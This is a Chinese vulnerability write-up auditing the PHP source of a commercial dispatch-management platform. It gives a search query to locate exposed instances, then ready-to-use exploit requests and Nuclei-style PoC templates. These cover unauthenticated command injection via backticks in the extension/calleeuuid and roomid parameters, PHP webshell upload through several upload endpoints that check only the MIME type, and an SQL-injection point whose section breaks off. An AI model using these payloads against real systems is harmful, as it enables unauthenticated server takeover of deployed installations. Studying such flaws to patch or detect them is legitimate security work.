本文仅用于技术讨论与研究,文中的实现方法切勿应用在任何违法场景。如因涉嫌违法造成的一切不良影响,本文作者概不负责。
本文章同看雪师傅一同分析和编写,所以会利用看雪师傅所写的POC进行辅助。本文只是简单分析PHP代码的漏洞如何产生和利用,后续会写其他难度的语言文章。文章如有不足之处,请见谅。
漏洞影响:全版本
xx指挥调度管理平台存在多处RCE,任意文件上传以及SQL注入等漏洞,未经身份认证的攻击者可通过上述等漏洞远程执行命令或写入后门等危害所导致服务器失陷。
语法搜索:body="指挥调度管理平台"
Demo1: vmonitor.php接口RCE
在拿到源码后,我们优先观看命令执行的危险函数,例如:
exec
-执行命令
passthru
-执行外部程序并且显示原始输出
proc_open
-执行一个命令,并且打开用来输入/输出的文件指针
shell_exec
-通过shell执行命令并将完整的输出以字符串的方式返回
system
-执行命令并且输出
eval() -把字符串当作PHP代码
通过危险函数查看之后,发现只有exec函数有可控参数,shift+ALT+F全局搜索exec
这里重新定义cmd_async($cmd)进行一个命令执行调用,我贴出关键代码。大概逻辑是get请求接收两个参数extension和calleeuuid,还有session中的local_extension_rang_start,local_extension_rang_end,对call_numbe_array每个元素进行处理,不断的去判断ext_end和ext_start是否大于0,从而代入calleeuuid参数赋值给$conf_cmd来调用cmd_async()函数命令执行。
$extention_number
=trim(
$_GET
[
'extension'
]);
$calleeuuid
=trim(
$_GET
[
'calleeuuid'
]);
$callee_numbe_array
=explode(
","
,
$extention_number
);
$ext_start
=
$_SESSION
[
'local_extension_rang_start'
];
$ext_end
=
$_SESSION
[
'local_extension_rang_end'
];
$sched_seconds
=
0
;
for
(
$i
=
0
;
$i
< count(
$callee_numbe_array
);
$i
++ ) {
if
(
$ext_start
>
0
&&
$ext_end
>
0
){
if
(!(
$callee_numbe_array
[
$i
]>=
$ext_start
&&
$callee_numbe_array
[
$i
]<=
$ext_end
)) {
$bridge_array
= outbound_route_to_bridge(
$_SESSION
[
'domain_uuid'
], trim(
$callee_numbe_array
[
$i
]));
$conf_cmd
=
"x sched_api +"
.
$sched_seconds
.
" none x originate {x:H264,origination_caller_id_name='video dispatch',origination_caller_id_number='10',ignore_early_media=true,call_direction=outbound}
$bridge_array
[0] &eavesdrop(
$calleeuuid
)"
;
}
else
{
$sip_dialstring
=
"user/"
;
$sip_dialstring
=
$sip_dialstring
.
$callee_numbe_array
[
$i
].
"@"
.
$_SESSION
[
'domain_name'
];
$conf_cmd
=
"x sched_api +"
.
$sched_seconds
.
" none x originate {x,origination_caller_id_name='video monitor',origination_caller_id_number='10',ignore_early_media=true,call_direction=outbound}
$sip_dialstring
&eavesdrop(
$calleeuuid
)"
;
}
}
else
{
$bridge_array
= outbound_route_to_bridge(
$_SESSION
[
'domain_uuid'
], trim(
$callee_numbe_array
[
$i
]));
if
(!empty(
$bridge_array
[
0
]) && strlen(
$bridge_array
[
0
]) >
5
) {
$conf_cmd
=
"x sched_api +"
.
$sched_seconds
.
" none x originate {x,origination_caller_id_name='video monitor',origination_caller_id_number='10',ignore_early_media=true,call_direction=outbound}
$bridge_array
[0] &eavesdrop(
$calleeuuid
)"
;
}
else
{
$sip_dialstring
=
"user/"
;
$sip_dialstring
=
$sip_dialstring
.
$callee_numbe_array
[
$i
].
"@"
.
$_SESSION
[
'domain_name'
];
$conf_cmd
=
"x sched_api +"
.
$sched_seconds
.
" none x originate {x:H264,origination_caller_id_name='video monitor',origination_caller_id_number='10',ignore_early_media=true,call_direction=outbound}
$sip_dialstring
&eavesdrop(
$calleeuuid
)"
;
}
}
cmd_async(
"/usr/local/x/bin/fs_cli -x "
".
$conf_cmd
."
";"
);
那么根据代码传入extension和calleeuuid参数,构造payload1:
GET /api/client/vmonitor.php?extension=1&calleeuuid=`id>1.txt` HTTP/1.1
Host: {{Hostname}}
POC1:
id: x公司指挥调度管理平台RCE
info:
name: x公司指挥调度管理平台RCE
author: xxx
severity: high
description: description
reference:
- https://
metadata:
query: body="指挥调度管理平台"
tags:
requests:
- raw:
- |+
GET /api/client/vmonitor.php?extension=1&rcalleeuuid=`id>1.txt` HTTP/1.1
Host: {{Hostname}}
- |
GET /api/client/1.txt HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- contains(body_2,"uid")
Demo2: invite_one_member接口RCE
因为这里很多接口都跟上面代码类似,都是传入不同参数代入到$conf_cmd中执行以下代码,所以下面就不重复讲解
cmd_async(
"/usr/local/x/bin/fs_cli -x "
".
$conf_cmd
."
";"
);
payload2:
GET /api/client/invite2videoconf.php?callee=1&roomid=`id>1.txt` HTTP/1.1
Host: {{Hostname}}
POC2:
id: x指挥调度管理平台RCE
info:
name: x指挥调度管理平台RCE
author: xxx
severity: high
description: description
reference:
- https://
metadata:
query: body="指挥调度管理平台"
tags:
requests:
- raw:
- |+
GET /api/client/invite2videoconf.php?callee=1&roomid=`id>1.txt` HTTP/1.1
Host: {{Hostname}}
- |
GET /api/client/1.txt HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- contains(body_2,"id")
Demo3: invite2videoconf接口RCE
payload3:
GET /api/client/invite2videoconf.php?callee=1&roomid=`id>1.txt` HTTP/1.1
Host: {{Hostname}}
POC3:
id: x指挥调度管理平台RCE
info:
name: 2福建科立讯通信有限公司指挥调度管理平台RCE
author: xxx
severity: high
description: description
reference:
- https://
metadata:
query: body="指挥调度管理平台"
tags:
requests:
- raw:
- |+
GET /api/client/invite2videoconf.php?callee=1&roomid=`id>1.txt` HTTP/1.1
Host: {{Hostname}}
- |
GET /api/client/1.txt HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- contains(body_2,"id")
Demo1: upload接口任意文件上传
在PHP中找文件上传漏洞,我们可以根据以下关键字或者函数来进行辅助查询
$_FILES
type
=
"file"
上传
move_uploaded_file()
我这里是全局搜索move_uploaded_file()函数进行查询,发现该函数有以下文件进行调用
跟踪upload.php文件,发现这里的大概逻辑是:
-
定义一个types类型,为白名单的后缀
-
文件类型检测,只检测MIME类型(Content-Type),没有检测用户输入filename的后缀
-
如果MIME类型被满足,那么利用move_uploaded_file()函数来进行上传
$types=
array
(
'txt'
,
'png'
,
'pdf'
,
'jpg'
,
'jpeg'
,
'amr'
,
'wav'
,
'mp4'
,
'avi'
,
'mp3'
,
'3gp'
);
$types1=explode(
'/'
, $_FILES[
'ulfile'
][
'type'
]);
if
(!in_array($types1[
1
], $types)){
echo
json_encode(
array
(
"code"
=>
1
,
"msg"
=>
"upload file type error"
));
exit
();
}
if
(is_uploaded_file($_FILES[
'ulfile'
][
'tmp_name'
])) {
move_uploaded_file($_FILES[
'ulfile'
][
'tmp_name'
], $_SERVER[
'DOCUMENT_ROOT'
].
'/upload/'
.$_FILES[
'ulfile'
][
'name'
]);
}
payload1:
POST /api/client/upload.php HTTP/1.1
Host: {{Hostname}}
Content-Length: 180
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarySwvD8hSn3Z0sHfMu
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
------WebKitFormBoundarySwvD8hSn3Z0sHfMu
Content-Disposition: form-data; name="ulfile";filename="1.php"
Content-Type: image/png
111
------WebKitFormBoundarySwvD8hSn3Z0sHfMu--
POC1:
id: 指挥调度管理平台api/client-Upload
info:
name: 指挥调度管理平台api/client-Upload
author: xxx
severity: info
description: description
reference:
- http://
tags: tags
requests:
- raw:
- |
POST /api/client/upload.php HTTP/1.1
Host: {{Hostname}}
Content-Length: 180
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarySwvD8hSn3Z0sHfMu
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
------WebKitFormBoundarySwvD8hSn3Z0sHfMu
Content-Disposition: form-data; name="ulfile";filename="1.php"
Content-Type: image/png
111
------WebKitFormBoundarySwvD8hSn3Z0sHfMu--
- |
GET /upload/1.php HTTP/1.1
Host: {{Hostname}}
matchers-condition: and
matchers:
- type: word
part: body
words:
- '111'
- type: status
status:
- 200
Demo2: task-upload、event-uploadfile接口任意文件上传
由于这两个接口的代码类似,所以我写在同一个目录下并且这里代码类似上面的upload代码,简单说一下代码思路:
-
对文件名进行处理,定义post两个参数,分别是number和uuid
-
创建一个types参数,里面数组为白名单后缀,进行MIME类型判断
-
利用move_upload_file函数进行上传
-
确定文件类型,根据文件的MIME类型是否包含"image"或者"video"来确定文件的类型
-
执行数据库操作
require_once
"../../../includes/require.php"
;
$filename = preg_replace(
'/.+(..+)$/'
,uuid().
'$1'
,$_FILES[
'uploadfile'
][
'name'
]);
$eventuuid =
isset
($_POST[
'uuid'
]) ? $_POST[
'uuid'
] :
""
;
$number =
isset
($_POST[
'number'
]) ? $_POST[
'number'
] :
""
;
$types=
array
(
'txt'
,
'png'
,
'pdf'
,
'jpg'
,
'jpeg'
,
'amr'
,
'wav'
,
'mp4'
,
'avi'
,
'mp3'
,
'3gp'
);
$types1=explode(
'/'
, $_FILES[
'uploadfile'
][
'type'
]);
if
(!in_array($types1[
1
], $types)){
echo
json_encode(
array
(
"code"
=>
1
,
"msg"
=>
"upload file type error"
));
exit
();
}
if
(!move_uploaded_file($_FILES[
'uploadfile'
][
'tmp_name'
], $_SERVER[
'DOCUMENT_ROOT'
].
'/upload/event/'
.$filename)) {
echo
json_encode(
array
(
"code"
=>
1
,
"msg"
=>
"upload file failed"
));
exit
();
}
$uuid = uuid();
if
(is_numeric(strpos($_FILES[
'uploadfile'
][
'type'
],
"image"
))) {
$type =
"image"
;
}
else
if
(is_numeric(strpos($_FILES[
'uploadfile'
][
'type'
],
"video"
))) {
$type =
"video"
;
}
else
{
echo
json_encode(
array
(
"code"
=>
1
,
"msg"
=>
"upload file type error"
));
exit
();
}
$sql =
"INSERT INTO event_list_details(t_uuid,t_event_uuid,t_upload_type,t_upload_content,t_number,t_datetime)"
;
$sql .=
"VALUES('$uuid','$eventuuid','$type','upload/event/"
.$filename.
"','$number',now())"
;
$prep_statement = $db->prepare(check_sql($sql));
if
($prep_statement) {
$prep_statement->execute();
}
unset
($prep_statement);
$result =
array
(
"code"
=>
0
,
"msg"
=>
"successed"
,
"uuid"
=>$uuid,
"url"
=>
"upload/event/"
.$filename);
echo
json_encode($result);
exit
();
payload2:
POST /api/client/event/uploadfile.php HTTP/1.1
Host: {{Hostname}}
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary25qW4eG1Jt50iyf7
Content-Length: 372
------WebKitFormBoundary25qW4eG1Jt50iyf7
Content-Disposition: form-data; name="uuid"
1
------WebKitFormBoundary25qW4eG1Jt50iyf7
Content-Disposition: form-data; name="number"
1
------WebKitFormBoundary25qW4eG1Jt50iyf7
Content-Disposition: form-data; name="uploadfile";filename="1.php"
Content-Type: image/png
111
------WebKitFormBoundary25qW4eG1Jt50iyf7--
POST /api/client/task/uploadfile.php HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary25qW4eG1Jt50iyf7
Cookie: PHPSESSID=403fc14298f14704c52657fc5ff62c71
Content-Length: 374
------WebKitFormBoundary25qW4eG1Jt50iyf7
Content-Disposition: form-data; name="uuid"
1
------WebKitFormBoundary25qW4eG1Jt50iyf7
Content-Disposition: form-data; name="number"
122
------WebKitFormBoundary25qW4eG1Jt50iyf7
Content-Disposition: form-data; name="uploadfile";filename="1.php"
Content-Type: image/jpg
111
------WebKitFormBoundary25qW4eG1Jt50iyf7--
POC2:
id: 指挥调度管理平台api/client/task/-Upload
info:
name: 指挥调度管理平台api/client/task/-Upload
author: xxx
severity: info
description: description
reference:
- http://
variables:
tags: tags
requests:
- raw:
- |-
POST /api/client/task/uploadfile.php HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary25qW4eG1Jt50iyf7
Cookie: PHPSESSID=403fc14298f14704c52657fc5ff62c71
Content-Length: 374
------WebKitFormBoundary25qW4eG1Jt50iyf7
Content-Disposition: form-data; name="uuid"
1
------WebKitFormBoundary25qW4eG1Jt50iyf7
Content-Disposition: form-data; name="number"
122
------WebKitFormBoundary25qW4eG1Jt50iyf7
Content-Disposition: form-data; name="uploadfile";filename="1.php"
Content-Type: image/jpg
111
------WebKitFormBoundary25qW4eG1Jt50iyf7--
- |-
GET /upload/task/{{timestrp}} HTTP/1.1
Host: {{Hostname}}
extractors:
- type: regex
name: timestrp
internal: true
part: body
regex:
- '[0-9a-zA-Z]{8}-[0-9a-zA-Z]{4}-[0-9a-zA-Z]{4}-[0-9a-zA-Z]{4}-[0-9a-zA-Z]{12}.php'
matchers-condition: and
matchers:
- type: word
part: body
words:
- 111
- type: status
status:
- 200
id: 指挥调度管理平台api/client/event-Uplaod
info:
name: 指挥调度管理平台api/client/event-Uplaod
author: xxx
severity: info
description: description
reference:
- http://
variables:
tags: tags
requests:
- raw:
- |-
POST /api/client/event/uploadfile.php HTTP/1.1
Host: {{Hostname}}
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary25qW4eG1Jt50iyf7
Content-Length: 372
------WebKitFormBoundary25qW4eG1Jt50iyf7
Content-Disposition: form-data; name="uuid"
1
------WebKitFormBoundary25qW4eG1Jt50iyf7
Content-Disposition: form-data; name="number"
1
------WebKitFormBoundary25qW4eG1Jt50iyf7
Content-Disposition: form-data; name="uploadfile";filename="1.php"
Content-Type: image/png
111
------WebKitFormBoundary25qW4eG1Jt50iyf7--
- |-
GET /upload/event/{{timestrp}} HTTP/1.1
Host: {{Hostname}}
extractors:
- type: regex
name: timestrp
internal: true
part: body
regex:
- '[0-9a-zA-Z]{8}-[0-9a-zA-Z]{4}-[0-9a-zA-Z]{4}-[0-9a-zA-Z]{4}-[0-9a-zA-Z]{12}.php'
matchers-condition: and
matchers:
- type: word
part: body
words:
- 111
- type: status
status:
- 200
Demo3: custom接口任意文件上传
该上传为其他目录的接口,但代码都一样只是目录不相同而已,下面就写一个为例子
分别为:custom/zx/event/uploadfile.php
custom/zx/task/uploadfile.phpc
payload3:
POST /custom/zx/event/uploadfile.php HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary25qW4eG1Jt50iyf7
Cookie: PHPSESSID=403fc14298f14704c52657fc5ff62c71
Content-Length: 374
------WebKitFormBoundary25qW4eG1Jt50iyf7
Content-Disposition: form-data; name="uuid"
1
------WebKitFormBoundary25qW4eG1Jt50iyf7
Content-Disposition: form-data; name="number"
122
------WebKitFormBoundary25qW4eG1Jt50iyf7
Content-Disposition: form-data; name="uploadfile";filename="1.php"
Content-Type: image/jpg
111
------WebKitFormBoundary25qW4eG1Jt50iyf7--
Demo1: departments接口SQL注入
寻找SQL注入,我们一般通过select,update,insert等数据库关键字或者关键函数
select
from
mysql_query
mysqli_multi_query()
insert
mysqli
update
我这里使用select关键进行查询,观看sql执行语句中是否有参数可控,是否有过滤,观察departments文件有可控参数,跟踪查看
跟踪代码查询发现用户传入usernumber参数,并且没有过滤直接代入到sql语句中
在一般的情况下,我们要注意还有避免PDO的预处理语句,比如这里带入的sql语句进行预编译处理。
$prep_statement = $db->prepare(check_sql($sql));
$prep_statement->execute();
$result = $prep_statement->fetchAll(PDO::FETCH_ASSOC);
payload:
GET /custom/zx/departments.php?usernumer=1 HTTP/1.1
Host: {{Hostname}}
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论